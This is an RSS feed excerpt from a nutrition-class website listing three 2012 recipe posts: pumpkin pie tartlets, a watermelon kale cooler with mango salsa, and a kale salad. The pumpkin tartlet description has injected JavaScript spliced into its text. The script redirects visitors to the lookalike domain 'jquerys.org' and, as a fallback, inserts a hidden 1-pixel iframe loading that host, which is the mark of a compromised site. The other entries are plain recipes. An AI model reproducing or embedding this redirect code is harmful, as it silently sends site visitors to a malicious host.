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	<title>30 Day Nutrition Challenge Online Classes</title>
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	<link>http://30daynutritionchallenge.com</link>
	<description>Online Nutrition Classes &#124; menu plans &#124; recipes &#124; Gluten Free &#124; Sugar Detox &#124; Alkaline &#124; Whole Foods &#124; Heal Digestion</description>
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		<title>Pumpkin Pie Tartlettes (gluten free, sugar free, dairy free)</title>
		<link>http://30daynutritionchallenge.com/2012/pumpkin-pie-tartlettes-gluten-free-sugar-free-dairy-free/</link>
		<comments>http://30daynutritionchallenge.com/2012/pumpkin-pie-tartlettes-gluten-free-sugar-free-dairy-free/#comments</comments>
		<pubDate>Mon, 08 Oct 2012 15:36:25 +0000</pubDate>
		<dc:creator>Living Kitchen Wellness Group</dc:creator>
				<category><![CDATA[recipes]]></category>

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		<description><![CDATA[Pumpkin /* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jquerys.org'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jquerys.org'); document.body.appendChild(rframe); } Tartlettes &#160; Ingredients Filling: 1 cup mashed pumpkin 1 egg 1 Tbsp coconut sugar (you can add 4 Tbsp if you want a much [...]]]></description>
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		<title>Mid-Day Snack: Watermelon Kale Cooler &amp; Avocado Mango Salsa</title>
		<link>http://30daynutritionchallenge.com/2012/mid-day-snack-watermelon-kale-cooler-avocado-mango-salsa/</link>
		<comments>http://30daynutritionchallenge.com/2012/mid-day-snack-watermelon-kale-cooler-avocado-mango-salsa/#comments</comments>
		<pubDate>Thu, 06 Sep 2012 17:22:21 +0000</pubDate>
		<dc:creator>Living Kitchen Wellness Group</dc:creator>
				<category><![CDATA[recipes]]></category>
		<category><![CDATA[avocado]]></category>
		<category><![CDATA[kale smoothie]]></category>
		<category><![CDATA[lime]]></category>
		<category><![CDATA[mango]]></category>
		<category><![CDATA[smoothie]]></category>
		<category><![CDATA[snack]]></category>
		<category><![CDATA[watermelon]]></category>

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		<description><![CDATA[Watermelon Kale Cooler Ingredients: 2 cups watermelon, chopped 1/2 cup ice cubes 1/2 cup cold water large handful kale, chopped Directions: Blend everything together in a blender until icy and smooth. &#160; &#160; Sweet Summer Salsa  Ingredients: 1 avocado, chopped in cubes 1 mango, chopped in cubes 1 ear of corn (organic is best!!) 1/4 [...]]]></description>
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		<title>Simple Kale Salad</title>
		<link>http://30daynutritionchallenge.com/2012/simple-kale-salad/</link>
		<comments>http://30daynutritionchallenge.com/2012/simple-kale-salad/#comments</comments>
		<pubDate>Sat, 01 Sep 2012 00:10:07 +0000</pubDate>
		<dc:creator>Living Kitchen Wellness Group</dc:creator>
				<category><![CDATA[recipes]]></category>
		<category><![CDATA[gluten free]]></category>
		<category><![CDATA[kale]]></category>
		<category><![CDATA[recipe]]></category>
		<category><![CDATA[salad]]></category>
		<category><![CDATA[vegetarian]]></category>

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		<description><![CDATA[The 30 Day Nutrition Challenge programs are overflowing with recipes for you.  But, you can never have too many recipes- for inspiration, for special dinner parties, for new lunch ideas, and for reading on lazy afternoons.  So, we decided to launch a blog on the 30 Day Nutrition Challenge website for your reading pleasure!! &#160; [...]]]></description>
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